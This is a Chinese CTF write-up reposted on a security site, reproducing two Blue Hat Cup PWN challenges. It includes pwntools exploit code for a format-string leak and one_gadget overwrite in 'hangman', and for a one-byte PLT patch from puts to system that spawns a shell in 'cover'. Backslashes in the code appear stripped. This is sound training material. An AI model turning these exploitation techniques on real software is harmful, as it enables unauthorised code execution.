蓝帽杯PWN题目复现

admin 2021年12月14日10:13:37评论157 views字数 1633阅读5分26秒阅读模式

pwn

hangman

保护全开的64位elf程序

蓝帽杯PWN题目复现
image-20210726222906313

满足if ( v8 == length_input )的条件就可以触发格式化字符串漏洞

需要在每次Guess letter的时候输入一个字符使v8++等于input的长度

一共有四次出发格式化字符串的地方

蓝帽杯PWN题目复现
image-20210726223242021

先泄漏libc和栈地址,最后任意地址写libc_start_main为one_gadget即可

def count(fmt):
 cnt = ""
 fmt = fmt.strip("x00")
 for i in range(len(fmt)):
  if i ==0:
   cnt += fmt[i]
  elif fmt[i] not in cnt:
   cnt += fmt[i]
  elif fmt[i]=="x00":
   continue
  else:
   continue
 return cnt


ru("nnEnter a word:")
pay1 = "%29$lx"
sl(pay1)
for i in count(pay1):
 ru("nnGuess a letter:")
 sd(i)
ru("Guess a letter:")
libc.address = int(rud("n"),16)-240-libc.sym['__libc_start_main']

ru("OK, You get next round.")

sd("2")
pay1 = "%16$lx#"
sl(pay1)


for i in count(pay1):
 ru("nnGuess a letter:")
 sd(i)

stack = int(rud("#n")[-12:],16)-216
onegg=libc.address+0x45226
ls("libc addr",libc.address)
ls("stack addr",stack)
ls("onegg addr",onegg)


ru("OK, You get next round.")

sd("3")
target1 = onegg&0xff
target2 = (onegg>>8)&0xffff

pay1 = "%"+str(target1)+"c%15$hhn"
pay1 += "%"+str(target2-target1)+"c%16$hn"
pay1 = pay1.ljust(24,"#")
pay1 += p64(stack)
pay1 += p64(stack+1)
sl(pay1)
# gdb.attach(p,"b *$rebase(0x13C5)")


for i in count(pay1):
 # if i == "x7f":
 #  break
  ru("nnGuess a letter:")
 sd(i)
 if i == "x7f":
  break
 # print i
sd("4")
ru("Enter a word:")
sl("a")
ru("Guess a letter:")
sl("a")


# p.sendline("cat /flag")
ri()

cover

蓝帽杯PWN题目复现
image-20210726223511924

一开始给了code段7权限

蓝帽杯PWN题目复现
image-20210726223549065

之后 read(0, &buf, 5u);+*buf = v2; 达到任意地址写单子节的效果

蓝帽杯PWN题目复现
image-20210726223850149

plt表可写,单字节任意地址写 put@plt 为 system@plt

# gdb.attach(p,"b *0x08048782")
ru("Try use a bullet to pwn thisn")
sd(p32(elf.plt['puts']+2)+"x24")


ru("our name?x00")
sd("/bin/shx00")


本文始发于微信公众号(山警网络空间安全与电子数据取证):蓝帽杯PWN题目复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月14日10:13:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   蓝帽杯PWN题目复现https://cn-sec.com/archives/437959.html

发表评论

匿名网友 填写信息